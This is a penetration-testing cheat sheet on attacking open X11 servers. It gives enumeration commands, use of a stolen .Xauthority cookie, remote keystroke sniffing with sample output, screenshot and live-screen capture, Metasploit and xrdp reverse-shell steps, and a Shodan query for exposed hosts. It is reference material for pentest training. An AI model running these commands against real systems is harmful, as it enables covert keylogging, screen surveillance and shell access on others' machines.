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6000 - Pentesting X11

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Basic Information

The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this. From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref​
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11

Enumeration

Check for anonymous connection:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

The file .Xauthority in the users home folder is used by X11 for authorization. From here:
MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in ~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

​xspy to sniff the keyboard keystrokes.
Sample Output:
xspy 10.9.xx.xx
​
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

./xrdp.py <IP:0>
First we need to find the ID of the window using xwininfo
xwininfo -root -display 10.9.xx.xx:0
​
xwininfo: Window id: 0x45 (the root window) (has no name)
​
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
For live viewing we need to use
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec
Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py <IP:0> –no-disp
It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
Then add the IP and port and then select R-Shell, which is illustrated below:
Now as can be seen below we have complete system access:

Shodan

  • port:6000 x11
``
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